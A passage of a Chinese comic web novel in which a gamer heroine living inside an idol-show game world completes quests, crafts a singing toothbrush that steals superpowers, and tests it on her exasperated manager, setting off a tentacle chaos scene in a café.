“啊——”
她忍不住翻开卫文谨的资料卡，越看越是满意：“今年才26岁，名牌大学全A毕业，已经带出了数名一线艺人、诸多二线艺人。工作经验丰富，态度认真，人脉资源广，经常熬夜加班……我的妈呀，这是什么梦中情员工？”
放在经营游戏里，那妥妥得是一个SSR啊
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！
“为什么不能招募这么优秀的人作为我的员工？不管男主还是女配，大家不都是npc么，还搞差别对待？系统，我要投诉！”
系统明明没有脑壳，却觉得自己仿佛不停地在掉头发。
它收集到的数据判断出，以往的普通理由恐怕不能被玩家接受。
于是机智的它灵光一闪，另辟蹊径：“呃，玩家您想，您也雇佣不起他啊。男主角的年薪至少百万起步，更别提与职位相对应的隐形资源……”
……
朝晖像一朵被霜打了的花，蔫蔫地缩回椅子。
目睹一切的卫文谨：……
他快刀斩乱麻地开口：“总之我来处理吧。还有，下周节目就要正式开拍了，在那之前你抽一天时间出来，去医院做个检查？”
“检查？为啥？”
面前就放着SSR却没钱雇用的朝晖，整个人散发出丧丧的情绪。
为啥？
因为你好像脑子有病啊！
卫文谨想带她去趟精神科，看看问题到底大不大，他好有个心理准备。
但听她这么说，他又冷静下来。
哪怕真有精神疾病，只要没有医院的记录，就可以糊弄过去。
寰天文化的权势，足以保证诊断记录不会外流。但“存在”本身便是危险，万一泄露出去了，会带来源源不断的麻烦。
朝晖前些日子的打人事件，是由安全局、节目组双方共同压下去的。但日后的麻烦，估计就得寰天文化来负责了——这个负责人多半就是他。
想到这儿，他的太阳穴已经开始隐隐作痛了呢：）
他还知道一条额外的情报，那就是节目组偷偷留下了监控录像，作为后手。
即使打人事件被爆，他们也能有回旋的余地：保朝晖或者威胁云端能源。
说到底，朝晖打人不对，但这件事她竟然还真的占理，毕竟是对方先动手的。
可精神疾病的诊断记录就不一样了！
“没什么，就是正常体检。保障员工的身心健康是我们公司的重要职责。”卫文谨自然地回答。
体检吗？
医院是新场景，朝晖有点想去。
但她的两个技能都快升级了，她又很想抓紧时间练习。
犹豫之时，系统却主动开口：“亲爱的玩家，建议您不要去医院。”
“诶，为什么？”
“玩家，您不是真的力量异能者。异能是一种能量，其存在对身体没有改变。”系统忙开口解释，“但您的身体拥有的是力量属性增幅，细胞和肌肉都发生了变化，和异能者不同，可能会带来麻烦。”
朝晖本来也不想体检，没发支线任务，估计也不是很重要。
而且想去医院也不一定要体检嘛。
“那我就不去了吧。”朝晖摆手，“但你能带我去医院玩吗？”
卫文谨：？
去医院玩？
“我得囤点药。唉，也不知道以后会不会受伤，没药总感觉心里没个底！话说我跟你一起去，是不是就不用付钱啦？”朝晖嘴皮子上下翻飞，嘚吧嘚吧说个不停。
……
苍天啊，大地啊。
卫文谨在这座黑暗的城市苦苦挣扎了二十六年，自以为他的心已经像钢铁那样冰冷了。
为了工作，为了钱，他可以不顾一切！
但现在，他的胸腔中迸发出一股强烈的情绪……
真的不想干啦！！
16. 洛川（16）
最终，经纪人没有答应带她去医院玩，反而面无表情、迫不及待地离开了。
朝晖习惯性点开面板看了一眼，发现对方好感度竟然降到了-25。
震惊！
“我啥也没干啊？”朝晖纳闷，“哎，男人心海底针，搞不懂！”
她将此事抛诸脑后，很快陷入沉浸式练习。
每天除了两个小时睡觉回精力，余下的空闲都在刷技能。
猫猫室友裴韫目睹全程，情绪从震惊——担忧——敬佩——惭愧，变成如今的无波无澜。
当她犹豫着跟玩家搭话，提出“熬夜对身体不好，嗓子和关节也需要休息”的关心时，对方理直气壮地回答：
“两个小时刚好足够精力恢复。睡久了多浪费时间啊！”
朝晖身上佩戴了【星光之戒】，还有被动技能效果“魅惑”，于是……
裴韫觉得她说得很有道理。
真正的强者，就是要把自己的睡眠给进化掉！
但臣妾做不到啊！
裴韫陷入内耗，整个人都快抑郁了。
玩家对npc的想法一无所知。她掰着指头，掐着算盘，期待着任务完成的那一刻——
就在今天！
“叮！”
“【新秀挑战（限时】已完成。截至今日21:00，您的个人介绍视频总播放量为：13168。
获得任务奖励：经验x1000，自由属性点x13。”
“【姜瑶的请求】已完成。
获得任务奖励：经验x800，金钱x800，姜瑶的一个承诺（特殊奖励）。”
“特别备注：请致电姜瑶以获取具体奖励。”
“主线任务【赛前准备】已完成。”
“您的技能【海妖之声】已升级为lv.2！”
“您的技能【远古之舞】已升级为lv.2！”
“您的个人等级已提升！”
……
一连串的系统通知砸下，朝晖乐得合不拢嘴。
发达啦发达啦！
来不及一一领取奖励，她先迫不及待地拨通了姜瑶的电话。
姜局长是个忙人，语音提示正在通话中，不过朝晖只等了十几秒就被接通了。
“小朝，什么事啊？”
姜瑶的声音泛着疲惫。
这祖宗没事怎么会给她打电话？难道她又惹事了？来找我擦屁股？
一瞬间，姜局长的脑中已经闪过无数最坏的可能性。
“我完成任务了。”朝晖道。
“……啊？”
“你要把任务奖励给我呀，‘姜瑶的一个承诺’！”
姜瑶：“……什么任务？”
朝晖警觉地竖起耳朵：“就是【姜瑶的请求】这个任务啊。我看看任务描述……‘明天你回去，到节目开播之前这段时间，就当帮帮我，好好地当你的偶像，别惹事别打人，成吗？你有什么想要的，可以跟我提，我会尽量帮助你的’。”*
“就是这个任务，你不会想要耍赖吧？”
“啊这……”
姜瑶抹了把汗，结结巴巴道：“没有没有，所以你这几天一直都没惹事对吧？”
朝晖抬头挺胸，语气骄傲：“当然，我还鼓励了我室友呢，她现在每天坚持和我一起泡练习室。”
“真棒！”
姜瑶仍摸不清她的脑回路，却直觉地掌握住一点儿沟通技巧：“没错，既然完成了任务，你想要什么奖励呢？”
不谦虚地说，姜瑶自诩还算有点能力，只要不是太过分的要求，应该都能满足。
朝晖超大声：“枪！我要一把枪，武器，之前我看到你们那儿有的！”
姜瑶：……
这就有点过分了啊！
“小朝啊，这个东西，属于限制武器，是必须要通过考试、持有证件才能用的。”
姜瑶的大脑飞快转动，用哄小孩的语气哄着她：“而且，你要枪干什么呢？你是厉害的异能者，遇到危险也不用害怕。更何况，没学过你也不会用啊！
“要是你想学，等结束录制后，每周末你来我们局里培训一下，可以在靶场用枪，怎么样？”
朝晖挠挠头，觉得对方说得……还挺有道理。
她想要枪，一个是因为帅，二个则是之前被追捕的时候，因武器差距导致打不过警察，就很憋屈。
但现在，她有了安全局背景，进局子的概率已经大大降低！
至于其他的普通人，一拳打过去就吐血昏迷，实在没什么挑战性。
“那倒也是哈。”朝晖想耍个心机，“但是录制还要很久才结束呢，这个就不能算奖励了。”
“嗯嗯，靶场训练的承诺一直有效，我再送你个别的。”
姜瑶没想到朝晖这么容易就接受了。
这孩子，一看就没有仔细看过她们当时签署的合同。
身体素质符合标准的异能者，本来就可以参加相关训练，这些事项明明就写在合约里了嘛！
“那……”
朝晖也不知道能要什么奖励。
如果武器不行的话，饰品？
众所周知，游戏中最难获取的装备，非武器与饰品莫属。
身上穿的衣服裤子相对易得，而且她现在得做主线任务，着装要跟随节目组的指挥。
之前获得的【星光之戒】，虽然目前没看出什么用途。但装备这东西，可以没用，不能没有！
“要装备，最好是饰品！”朝晖斩钉截铁道。
饰品？
那不就是……小女孩戴着漂亮的东西吗？
姜瑶已经做好准备迎接一些过分请求了，乍听这句话，不禁一愣。
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祖宗的性格真是难以捉摸啊！
“行，要什么样的？”
“属性好的！”
？
属性好是什么鬼要求？
姜瑶有点沧桑，觉得自己跟不上年轻人的步伐了。
“……这样吧，我叫你的经纪人买一个最好的，让他带给你，行吗？”
朝晖当然是满口答应。
她就听见了“最好的”三个字，别的全过滤了。
姜瑶公务繁忙，但还是抽出时间亲自给卫文谨打电话，把事情交代清楚。
他去买，开发票，她报销就是了。
既然寰天文化签下她，那就让他们的职员去头疼吧！
……
挂了电话，玩家立刻开始整理剩下的奖励。
首先是属性点，整整13点！
发财啦！！
她依旧想全部加力量，却发现操作失败，满40点就不能加了。
系统：“亲爱的玩家，达到40点阈值之后，您需要优先提升其他属性才能继续。”
这是常见的设定，朝晖平静接受：“好吧，其他要加到多少呢？”
“基本属性平均值达到20。”
基本属性就是力量、耐力、敏捷、智力四项，初始值都是5。
想起系统此前关于“力量属性改变了细胞”的说辞，朝晖不禁阴阳了一句：“假如我加智力，难不成还能在游戏里变聪明？”
……
一向有问必答的系统竟沉默不语。
片刻后，它才悠悠道：“有这种可能性。您要把8个自由属性点加在智力上吗？”
力量提升至40用掉了5个，还剩8个。
“怎么可能，当然是加耐力了。”朝晖摆摆手，“有【狂战士】这个技能，我肯定是走战士路线，要智力没用。”
系统：“……不考虑其他次要属性吗？”
除了四个主属性，《逐梦演艺圈》内还有着数量众多的其他属性，类似于魅力、幸运什么的，对于闯荡娱乐圈来说作用显著。
朝晖之前得到的【星光之戒】给她加了2点魅力，1点资历。这三点属性，已经悄悄发挥了不小的作用，让她的视频播放量更高、人气更高。
但朝晖又不知道嘛。
就算知道，她也绝不会去加这些“没用的东西”！
“就加耐力。”
耐力不仅提升血量，还能提升精力上限。
刷技能的效率又增加了呢！
系统还能怎么办呢？
系统只能默默地帮她把属性点加好。
任务奖励和技能提升的经验，让玩家连升了两级，多出两个天赋点的同时，她心心念念的【创作】界面也终于解锁！
迫不及待地点开新界面后，系统看了沉默，玩家看了狂喜。
“异能！？”
17. 云端能源（1）
新解锁的创作界面，整体风格和【唱歌】【跳舞】都有所不同。
包裹着【创作】两个字的边框，呈现出冰冷的金属质感，详情页面也不像另外两项的梦幻少女风格，而是以黑蓝色调为主的未来科技风。
仔细一看，“创作”二字后面还跟着两个不明显的小字“异化”。
【创作·异化】。
【压制之手：不论你写出什么歌曲，都拥有抑制异能的能力。
鼓舞之手：不论你写出什么歌曲，都拥有增幅异能的能力。
偷盗之手：不论你写出什么歌曲，都拥有复制异能的能力。】
“哇塞，这么牛的吗？等等，系统你们这个是不是出bug啦？”
系统界面像信号不好的老电视花屏，界面上的白色文字诡异地闪闪烁烁。
“滋滋滋……正在更新……正在完善系统文本……更新完毕。”
“抱歉，刚刚主系统忽然下发了紧急更新指令。”系统道。
朝晖点点头：“噢，没事就好……诶？”
闪烁个不停的创作界面稳定下来之后，似乎发生了少许变化。
【不论你写出什么歌曲……滋滋滋……不论你创作出什么作品，都拥有…异能的能力。】
“这算是放宽了范围吗？”朝晖嘀咕着，“rap和舞蹈也算数对吧。话说这三个感觉都很厉害，真是难以抉择啊……”
她像之前一样先看整体，但【创作】技能树后面的技能，基本都是对主技能的强化，不像唱歌那样后面出大招。
所以朝晖很快做下决定，那就是这三个创作分支她都要点，后续加点再看哪个更好用。
但现在，她只有两个技能点。
机智的玩家决定先存档！
“复制是必点的，简直bug级别技能啊！就是不知道具体怎么操作，难道是我唱我自己创作的歌曲，就可以复制？”朝晖自言自语，不停用暗示的语气提示系统。
好ai，该给你最爱的玩家一点儿提示啦！
系统：“……由于您的天赋发生‘异化’，还请您自行摸索。”
朝晖失望：“好吧。”
她点了压制之手和偷盗之手，毕竟鼓舞一看就是辅助，她自己都是个假的异能者来着。
点天赋之后，她多出了新技能。
【偷盗之手lv1: 您可以消耗大量能源，使用初级材料进行创作。您使用自己创作的作品时，有概率获得被动效果“偷窃”。】
【偷窃（被动）：偷取敌人的异能，获得相当于其100%的效果，持续8秒。在此期间，敌人无法使用异能。
8秒后，敌人取回异能。复制其异能，获得相当于其70%的效果，每分钟消耗1点精力，可手动停止。】
朝晖：？
朝晖：“这是什么神技？”
也就是说，假如她写出一首歌，那唱这首歌的时候，有概率随机薅到听歌人的异能。
很强，但有点不稳定。
“怎么确定敌人是谁啊？”朝晖敲敲系统。
“……与您的‘创作作品’的形态有关，具体请您自行探索。”
“啊——算了，我先搓一首歌出来试试。正好这不是初舞台就要来了嘛！”朝晖嘿嘿一笑，期待万分地搓手，然后……
就陷入了迷茫。
她这会儿才发现，与【创作】一同解锁的，还有很多杂七杂八的东西。
材料、灵感、图纸、能量、作品库、一个长得活像炼钢炉的【创作】按钮……
“我去，以前玩战争游戏的时候搓核/弹都没这么复杂。”朝晖少见地被震住了。
可这复杂的界面，又带给她一种熟悉感。
前面提到过，朝晖没有玩过乙女游戏。
但她的确是个游戏宅，小时候玩过许多其他类型游戏，尤其是争霸类型。
此外，作为游戏公司员工的她，接触过大量类型不同的游戏，和数值策划、文字策划唇枪舌战过三天三夜，也在缺人的时候充当过测试员。
“这界面……怎么看都像是搓武器用的啊？”朝晖双手背在身后，若有所思地缓缓踱步，在宿舍中绕圈。
好在裴韫此刻去练习室卷起来了，不然又得被她吓到。
问系统，系统又开始装死，来来回回就那一句“请玩家自行探索”。
朝晖沉吟半晌，再次打开创作技能的具体描述。
【不论你创作出什么作品，都拥有复制异能的能力。】
“作品”二字，朝晖原以为是泛指唱、跳、rap、篮球……呸，就是文艺创作类的一切。
但如果理解成所有东西，似乎也可以啊？
那么现在，摆在她面前的障碍就只剩下一个了。
图纸！
该如何获取图纸！！
这回系统没装死：“您可以获得图纸，也可以自行创作，有概率解锁新图纸。”
自行创作？
鬼知道写一首歌要什么材料啊！
朝晖在宿舍打量一番，把自己的牙刷扔进去了。
这牙刷还是秃头老板给她准备的生活物品，可惜玩家不需要，一次都没用过。
“原材料：塑料牙刷*1。”
感觉有点不靠谱呢……
朝晖气势汹汹地冲出门，来到楼下，去练习室中薅了一份曲谱、一个麦克风。
随后无视身后鸦雀无声的npc们，风一般卷出门，回到宿舍郑重其事地盘腿坐下。
“原材料：塑料牙刷*1，曲谱*1，麦克风*1。”
“需要能源：4.5单位。”
游戏世界的主要能源来自晶石矿，发电发热都用它，比较常见。
像之前提到过的云端能源，主业就是做能源转换，有自己的矿场，富得流油。
晶石电池随处可见，朝晖在宿舍搜刮了一圈，就凑够了4.5单位。
把材料全部丢进炼钢炉之后，朝晖郑重其事地点击使用技能【偷盗之手
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lv.1】。
“叮——创作成功！”
“精力-5。【偷盗之手】熟练度+1。”
“您获得了【爱唱歌的电动牙刷】。”
【爱唱歌的电动牙刷：
它不再是过去的那个自己了。
电动牙刷的梦想，是成为著名歌星！
可是它毕竟还是一支牙刷，假若看到一口好牙，它无法控制自己最原始的本能。
使用它对目标刷牙，会让目标开始唱歌。在此期间有几率触发“偷窃（被动）”。】
朝晖：……
系统：……
对这个物品的效果无语片刻后，朝晖迅速发现了华点。
“真的什么都能做啊！”
那岂不是说，只要她拿到图纸，就可以自己搓出一把枪？
哇咔咔咔！
系统却在此时泼了一桶冷水：“亲爱的玩家，您依旧需要研究如何创作歌曲，否则可能会影响后续任务，造成卡关。”
“唉，我知道。”
玩家最新的主线任务，就是“自己创作出歌曲在初舞台表演”。
如果能在表演时获得A等评级，还有额外奖励。
“创作界面没有一点新手教程，这合理吗？”朝晖怒，“我要投诉！”
系统：……
也不知道经历了什么样的心理斗争，最终，它还是给出玩家答复。
“不管是现实中的创作，还是游戏中的创作，您需要的都是素材的积累，以及一点点灵感。”系统说道，“ai只能拼接，只能根据现有的图纸进行再造，却无法创造出全新的文艺作品。”
朝晖一怔。
她想起自己小时候学画画时，老师也说过差不多的话。
那时候她的梦想是成为一名画家，她真的很喜欢画画。
只不过，不知从何时开始，她不得不花费大量时间准时升学考试、冲高绩点、找实习找工作、加班……
她已经很久没有画画了。
宿舍里有纸笔，朝晖取出一支圆珠笔，在纸上颇为生疏地画起来。
慢慢地，一个线条不够流畅、歪歪扭扭的少女形象跃然纸上。
她穿着小裙子，满面笑容，手里拿着一个话筒。
魔法少女！
朝晖喜欢魔法少女。
白天是普通女孩，晚上是拯救城市的无名英雄——可能会不小心搞点儿破坏，但市政府和市民都宽容地原谅了她。
“叮！灵感+1！”
“检测到您的原创作品，材料+1。请选择创作内容：唱歌/跳舞/rap。”
诶？
真的有效果哇！！
既然是魔法少女的画，那么创作出的东西，一定是和魔法少女有关的吧？
朝晖：“rap啊，当然是rap，快给我来一段魔法少女风格的rap！”
系统：？
你把刚才“少女提笔画画重拾童年梦想”的感动还给我啊！！
18. 云端能源（2）
创作技能十分给力，一秒之后就制作出了指定作品。
一段时长整整两分钟的rap，以音频、曲谱两种方式呈现。
精力扣得有点多，之前的牙刷才花了5点精力，这段rap足足花了20点！
倒是熟练度涨得不少，4点。
看样子5点精力可以转化为1点创作的熟练度，比唱歌跳舞消耗高得多。
她此前加了8点耐力，精力上限由30变成了38。
短短几分钟时间，就消耗了25点。
“真贵，看来以后睡觉回精力的时间要增加了。”朝晖遗憾道。
系统：……
【未命名rap片段：
魔法少女也要当rap star！
由于素材单一，质量不足，本段rap只有两句歌词。
或许能意外达成洗脑的效果？
歌唱本段rap时，有几率随机对一位听众触发“偷窃（被动）”。】
这段曲谱可以直接载入唱歌技能的曲库里，bgm也能上传到电脑。
朝晖立刻冲到楼下练习室，挤开npc们，打开练习室的电脑播放bgm，然后使用唱歌技能——
“嘿嘿哟哟，魔法少女在这里等候，今晚的坏蛋请你注意左右，你的行踪已经被我看透！”
“ohoh i''m a bad girl，你才发现？我很高贵冷艳，别来沾边！”
……
练习室内所有人：……？
朝晖也有点无语：“这两句歌词完全没有什么联系吧？”
整首rap还挺有节奏感，就是这乱七八糟的歌词重复整整两分钟，属实有点儿精神污染。
系统据理力争：“这是由于您的素材过于粗糙、能提取出的内容有限，且您的画风本来就比较割裂……”
“唉，好吧。”
光有rap不够，玩家的目标，可是成为无所不能的ace！！
那么这段初舞台表演，就必须得包含唱、跳、rap三个部分。
于是，朝晖再次开始画画，试图创作出一段歌曲，和rap拼接在一起。
可惜的是，也许是她目的性太强，这次连画好几张都没能触发灵感+1，不能进行新创作。
朝晖把笔一扔：“玩个游戏要求还这么高？系统你们在搞啥啊，还不如我自己写歌算了！”
她刚才就发现，唱歌技能升级为lv.2之后，她的唱功似乎变好了。
玩家唱歌，是直接点技能，然后游戏就会自动接管她的部分身体，让她发出合适的声音。
游戏外的朝晖，虽然不至于五音不全，但对于发声、气息、吐字之类的唱歌技巧，完全是一窍不通。
但刚刚，她没用技能，随口哼了两句rap，竟惊讶地察觉自己能够运用一些技巧。
这么哼着，朝晖索性自己写了一段歌词，乱七八糟地唱起来。
“好～运～来～钱从四面八方来！魔法少女赚钱吗？不如成为偶像吧！拯救世界多辛苦，不如成为偶像吧！一天二百零八万，钱从四面八方来！”
“叮！灵感+1！”
“检测到您的原创作品，材料+1。请选择创作内容：唱歌/跳舞/rap。”
系统：……
朝晖大喜：“这也行？”
她自己哼的歌被录入后，刚才画出的废稿也能丢进去当素材，看来“灵感”才是最重要的。
新生成的歌曲片段也是两分钟，但歌词和旋律丰富许多。
或许是她自己提供的素材更多了，精力消耗减少，只花了10点，相应的熟练度也只提升2点。
为了主线任务，朝晖仔仔细细研究起系统工具，认真地把两段素材拼接成了三分钟的完整歌曲。
正好符合初舞台需求！
这么优秀的作品，一定可以在初舞台上一鸣惊人，收获满满人气，想想就迫不及待了！
系统：……
节目开播后，玩家的面板就会出现【人气值】和【观众喜爱度】这两项标准。
这两个数值越高，那么玩家完成主线任务后获得额外奖励的几率越大。
此前，赛前自我介绍的播放量、个人投票两项数据，朝晖都力压众练习生。
投票不说了，依靠她脸蛋的迷惑性遥遥领先；
视频也因整活力度较大，吸引了许多猎奇的吃瓜群众。
甭管评价如何，数据是实打实地追了上去，在最后一天超越了寰天文化的双子星诸华清、盛绫儿，收获第一。
由此，朝晖便产生了一种错觉——
她的主线任务做得很好呀！
你看，玩家她那么努力认真地刷了技能，准备了个人介绍，拍摄了公式照片。
在游戏中，她猛肝这么久，才收获第一，不是很正常的吗？
所以朝晖觉得，自己目前的首要目标就是继续肝技能，化身时间管理大师，把每一点精力都用在刀刃上。
玩家坚信，只要这样做，最终任务评价一定会很高。
现在她创作出的rap+歌曲片段，足足花了她30点精力，这肝度可不算小。
如此肝度，难道称不上一份优秀作品吗！
想必初舞台开始后，也一定能够好评如潮！
“唉，像我这么努力肝游戏的优秀玩家真的很少见了。”朝晖遗憾地感慨一声，“可惜我自己没异能，练习生npc也没有，不然真想试试【爱唱歌的电动牙刷】效果如何，偷别人技能也太爽了吧。”
这可是玩家自己搓出来的，能够当作武器使用的特殊道具啊！
系统：……
也不知道是老天爷听见了她的愿望还是怎么的，一个电话忽然打了进来。
“朝小姐，我是卫文谨。”电话那头的人开门见山，“姜局长送给你的饰品我已经准备好了，你录节目正好能用上。我让伊尔莎过来取然后送给你，到时候你记得接她的电话哦。”
“哦？好的！”朝晖一听自己的新装备要来了，眉开眼笑。
“那没什么事的话，我就先挂……”
朝晖正准备挂断，忽然想起了什么。
“等等！”
这一声河东狮吼，可谓气冲云霄，把卫文谨惊得一个哆嗦，好悬没把手机甩出去。
“……怎么了？”
“我有非常要紧的事情找你，你能不能过来见我一下啊？”朝晖道。
“……现在吗？”卫文谨扶额。
朝晖笃定：“现在立刻马上……嗯，等等，大概两个小时后吧。”
她要先睡觉回个精力。
……
经纪人打开自己的备忘录。
他进入公司以来，的确培养出了好几位优秀艺人，其中更是有一名大火的一线流量明星。
不过这些艺人火起来之
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后，就全部被公司内另一位经纪人接手了。
光明正大摘桃子，却没有人会说些什么。
他出身很差，全靠自己不择手段，才能达到如今的成就。公司只把他当做工具人，他不在乎，或者说没办法在乎。
——这个世界就是如此。
所以目前，卫文谨的手上并没有太多艺人，他甚至还得花时间自己去物色好苗子。
朝晖这个苗子，条件真的很不错。
长相，可以说是无可挑剔，身材也非常标准，说明她有好好自我管理（？）。
她之前自我介绍的那段表演，抛开整活不提，唱歌跳舞的水平在练习生中都属于中游水准，甚至有进步空间。
他还知道，这只是朝晖进公司练习不到一个月的结果。
她练习非常努力，每天睡觉很少，绝大部分时间都泡在练习室。
——唯一的遗憾就是脑子不太好，唉，人无完人啊……
“等会儿我没什么事，那我就不叫伊尔莎了，一会儿直接把东西带给你。”
卫文谨轻轻叹了口气，“记得接电话。”
“嗯嗯！”
朝晖苍蝇搓手，笑得春光明媚。
异能者，嘿，这不就有一个吗？
男主他必定是异能者哇！
而且肯定是很厉害的异能！
要是别的男主有，就他没有，那这乙女游戏还玩个什么劲儿，卫文谨直接丧失全部竞争力，立刻出局。
经过以上缜密而合理的推断，朝晖马上就把经纪人叫过来，准备在他身上试验自己新做的牙刷。
系统：……
可怜的经纪人还不知道，他即将面对的是什么。
依旧是万年不变的通勤黑西装，开一辆朴实低调的商务车，卫文谨把自己的证件出示给《星光训练营》停车场保安，成功被放行。
此时，距离第一期的节目录制也只剩下几天时间，有不少闻讯而来的秀粉、代拍站姐蹲守在门口，试图获得选手们的第一手生图。
卫文谨不能进女生宿舍，依旧来到上次的咖啡厅，给朝晖打电话。
玩家带上牙刷，风一般刮出门。
“哇……”
站姐们都是这两天才被允许滞留在周围拍照的，而朝晖已经好几天宅在练习室刷技能，没出过门。
别的练习生好歹还会在饭后的傍晚，结伴出门溜达一下，顺便到楼下的便利店买点儿吃的。
在此期间，站姐们就可以给她们拍照，而练习生们大都会做出回应，毕竟是很好的吸粉机会。
朝晖呢？
朝晖完全没个人影！
说来可能有点让人难以置信，在选手信息公布的一周内，朝晖还真的吸了不少粉。
其中，小部分是只看五官不看三观的颜粉，大部分是“朕倒要看看你还有什么惊喜”的吃瓜乐子人。
她们共同的特点就是，急，特别急，快急死啦！
好奇地想要看到更多和朝晖相关的消息！
不少专业粉丝都找了熟悉的代拍，叫她们多拍点朝晖生图，看看是不是真的那么漂亮。
代拍们也很无奈。
人没个影儿，想拍也没得拍啊！
所以今天，朝晖刚一冒出头，就引起代拍们一阵阵兵荒马乱。
——这会儿正是饭点，大家都在吃外卖呢。
这个女人，真是不按常理出牌！
19. 云端能源（3）
“咔咔咔……”
此起彼伏的快门声响起。
还有人为了抓拍到看镜头的画面，大声叫她的名字：“朝晖！”
“嘎？”
用了那么多年的名字，朝晖下意识回头，抬眸望去。
“咔嚓。”
是一群拿着相机的小姐姐。
这时候的游戏世界，大约是二月份，即将入春。
洛川临海，地处亚热带与温带交界处，冬天会飘小雪。此时已经开始升温，但出门在外时候，大家依旧会裹上厚衣服。
朝晖不惧冷热，穿着节目组的制服：白衬衫和蓝格子短裙。外套不合身，她不爱穿，索性丢在宿舍。
站姐们要在室外蹲很久，都穿着厚厚的棉外套、羽绒服。
“诶……拍照的？”朝晖挠头。
她不追星，但作为十级冲浪选手，知道的东西不少。
于是她兴奋地敲系统：“好多人拍我啊，是不是代表我的人气值很不错？”
系统：“……您的投票和播放量双第一，当然不错了。”
“呀～”
玩家非常开心，蹦蹦跳跳地跟npc们挥手。
蹦着蹦着，就蹦到了她们面前。
“哇……”
快门声再次响成一片，朝晖惊奇地左顾右盼，恶魔之手伸向离她最近的站姐——
“好真实的相机啊，能借我玩一下吗？”
“？”
站姐被近距离的美颜所震撼，晕头转脑地把自己手中相机递了出去。
“朝晖，你，你也太好看了吧～～”站姐软乎乎地说，“你穿这么少，太冷了！多穿点呀！诶，等等，你去哪？”
朝晖把牙刷装进口袋，双手拿起相机，咔擦咔擦地拍了一会儿，然后边拍边溜达。
她的身影越来越远，越来越远……
不敢置信的站姐：“？”
……
最后，朝晖被经纪人给拎回来，亲手将相机还给小姐姐。
在咖啡厅等待许久的卫文谨给朝晖打了五个电话，没人接；又给伊尔莎打过去。
正在员工区吃饭的伊尔莎急匆匆出门，在员工们的指引之下，终于把朝晖逮住。
在此期间，卫文谨去隔壁奶茶店买了几十杯热饮，请人帮忙提过来，分发给在场的姐姐们。
“真是抱歉，这孩子的性格就是如此，给你们添麻烦了！天气凉，大家喝点热饮暖暖身体吧，不好意思。”卫文谨挨个儿给站姐们道歉，还想赔钱给那名倒霉的受害者。
或许是经纪人态度很好，或许是这件事太过离谱，相机被抢走一个小时的站姐倒是挺乐观的：“没事，她拍了很多照片在我的相机里，这也算一种收获吧哈哈！要不给我签个字？”
她用拍立得给朝晖拍照，拜托她签上名字，又和朝晖拿手机自拍合影。
其他代拍都用羡慕的眼神看向她。
可能有人会问，玩家怎么会那么配合？
那还多亏了伊尔莎。
饭都没吃完就跑过来的伊尔莎，感觉自己背后都出汗了。
她一边给安全局发消息，一边安抚朝晖：“朝小姐，你想要相机的话，回头跟姜局长报备一下，让她帮你买一个。……拿别人的东西是不好的呀！她们都很喜欢你，是你的粉丝，你这样做的话她们会很伤心！——呃，姜局长说如果你不要惹事，之后还会继续送你饰品或者别的东西，再给你申请更多的练枪时间——”
朝晖闻言收回爪子，乖乖跟着她回去还相机。
当然，会听话的最主要原因，还是她玩腻了：）
卫文谨扶额：“辛苦你了伊尔莎，饮料你也带一杯回去，我带她去外面聊点事儿。”
“嗯，那朝小姐我先回去了。”伊尔莎感觉自己头发都掉了不少。
卫文谨：……
他假装没看见混血儿助理那同情的眼神，勉强维持着微笑，带朝晖来到咖啡厅坐下。
然后捂脸，叹气，不停pua自己：
“呵，不过是这么点困难而已，你以前什么没有经历过？比起以前那些傻x老板和zz艺人，她也不过如此！外面那些站姐都还挺喜欢她，说明她有潜力，能火！火了你就有钱了，火了她就会换经纪人了！”
玩家乐呵呵地坐下，在确定经纪人买单之后，点了二十份甜品、小面包，然后从口袋里掏出被遗忘许久的牙刷。
恢复平静的卫文谨：“……这是什么？”
“牙刷啊。”朝晖说，“是我自己做的道具哦，你先张嘴，我试一下好不好用。”
卫文谨：………………………………………
卫文谨感觉自己的耳朵出问题了：“你说什么？”
朝晖已经打开电动牙刷。
它发出嗡嗡的震动声，配合她接下来的话，如同恶魔呓语：
“就是牙刷，刷牙！刷牙你知道吗？很简单的，别担心，你过来一点张嘴别动……别躲呀！”
要不是牙刷的物品描述里写着“使用它对目标刷牙”，她也不想亲自上手。
然而卫文谨已经下意识躲开了。
玩家顿时就叛逆了：嘿你这个npc，你躲啥呀，我又没打你！
强迫别人刷牙，应该不违法吧？
为了保险，缜密的玩家随手存了个档。
然后，她放心地伸出另一只手，熟练地开技能，获得力量增幅。
啪地一下，很快啊，就把卫文谨按在座位上动弹不得。
被她按住的肩膀部位发出令人牙酸的“嘎吱”声，也不知道是骨折了还是怎么。
经纪人脸色一白，忍不住闷哼出声。
“好了好了，就试一下！”
可怜的卫文谨，眼睁睁地看着朝晖硬是把那支牙刷塞进了自己嘴里。
“啊～～我亲爱的祖国——你是多么的美丽！”
这牙刷效果忒好，刚刷上，卫文谨就开始口齿不清地唱歌。
如果忽略掉他满脸的绝望的话，唱得还怪好听的嘞。
刷了半天，也没见偷到技能，朝晖不禁怀疑：“他不会没有异能吧？”
系统：“……有的，不过【偷窃】的触发看几率。”
“哦，行吧，概率也不公示一下，让我们玩家有些不放心啊！”朝晖继续刷牙。
话音刚落，就见卫文谨眼神一变。
震惊、迷茫、不可思议……
“嗯？”
玩家也察觉到，周围的氛围似乎发生了变化。
哪里有些不对。
异样感如附骨之疽，丝丝缕缕地蔓延。
……怎么感觉脚下软绵绵的？
低头一瞧，自己的蓝色格子裙下面，不知何时冒出几条黑蓝色的、黏糊糊的、越来越长的巨大触手。
它们诡异地攀爬，不安静地抖动，触手上密布着圆滚滚亮晶晶的眼球，每个都有苹果大小。
横瞳、黄金色虹膜，骨碌碌地四下转动，古灵精怪，满眼好奇。
“我（被屏蔽）！”
朝晖没忍住爆了一句粗口，原
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地扭来扭去：“啊啊啊啊克系！触手！这也太帅了吧！！！系统，你们游戏的设定这么丰富的吗？！”
“可以变身的异能！好帅好想要——这不公平！我也要这么帅的异能！呜呜呜！”
玩家仗着自己在玩单机游戏，拥有永不社死buff，趴到地上撒泼打滚。
技能偷到之后，她也不用继续刷牙。索性趁着精力还没被消耗完，赶紧尝试操纵触手，快乐地玩耍起来。
场景内的npc一碰就尖叫，一吓就逃跑，也太好玩儿了！
……
卫文谨的肩膀被她按骨折了。
身体的自我保护机制，令他止不住浑身颤抖，冷汗直流。
但他此刻，对于疼痛却全然未觉。
周围传来尖叫声，像是透过一层雾蒙蒙的薄膜，在他的耳边炸开，让他几乎无法思考。
触手打破了无数桌椅玻璃，咖啡厅内为数不多的客人们疯狂地从后厨逃离，隐约已经能听见远方警铃大作。
